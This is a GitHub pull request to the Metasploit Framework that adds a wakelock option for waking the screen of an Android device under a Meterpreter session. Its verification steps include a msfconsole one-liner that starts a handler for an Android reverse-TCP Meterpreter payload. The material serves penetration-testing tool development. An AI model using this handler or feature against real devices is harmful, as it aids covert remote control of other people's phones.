Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add android wakelock command to turn the screen on #8587

Merged
merged 1 commit into from Jun 21, 2017

Conversation

timwr
Copy link
Contributor

@timwr timwr commented Jun 20, 2017

Quick change to add a specific option for turning the screen on with the wakelock. (Note this doesn't unlock the device). The number corresponds to
https://developer.android.com/reference/android/os/PowerManager.html#ACQUIRE_CAUSES_WAKEUP
+
https://developer.android.com/reference/android/os/PowerManager.html#FULL_WAKE_LOCK

Verification

  • Get an android meterpreter session: msfconsole -qx "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set lhost $LHOST; set lport 4444; set ExitOnSession false; run -j
  • Unplug the device and wait for the devices screen to switch off
  • Run the command wakelock -w and ensure the screen wakes up

@busterb
Copy link
Member

busterb commented Jun 21, 2017

Makes sense to me, looks good. Thanks @timwr

@busterb busterb merged commit a659364 into rapid7:master Jun 21, 2017
@busterb
Copy link
Member

busterb commented Jun 22, 2017

Release Notes

The option to turn on the screen of a remote Android device via a Meterpreter session has been added using the wakelock command.

@alrosenthal-r7 alrosenthal-r7 added the rn-enhancement release notes enhancement label Jun 28, 2017
@timwr timwr deleted the wakelock_turn_on_screen branch October 31, 2017 02:58
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants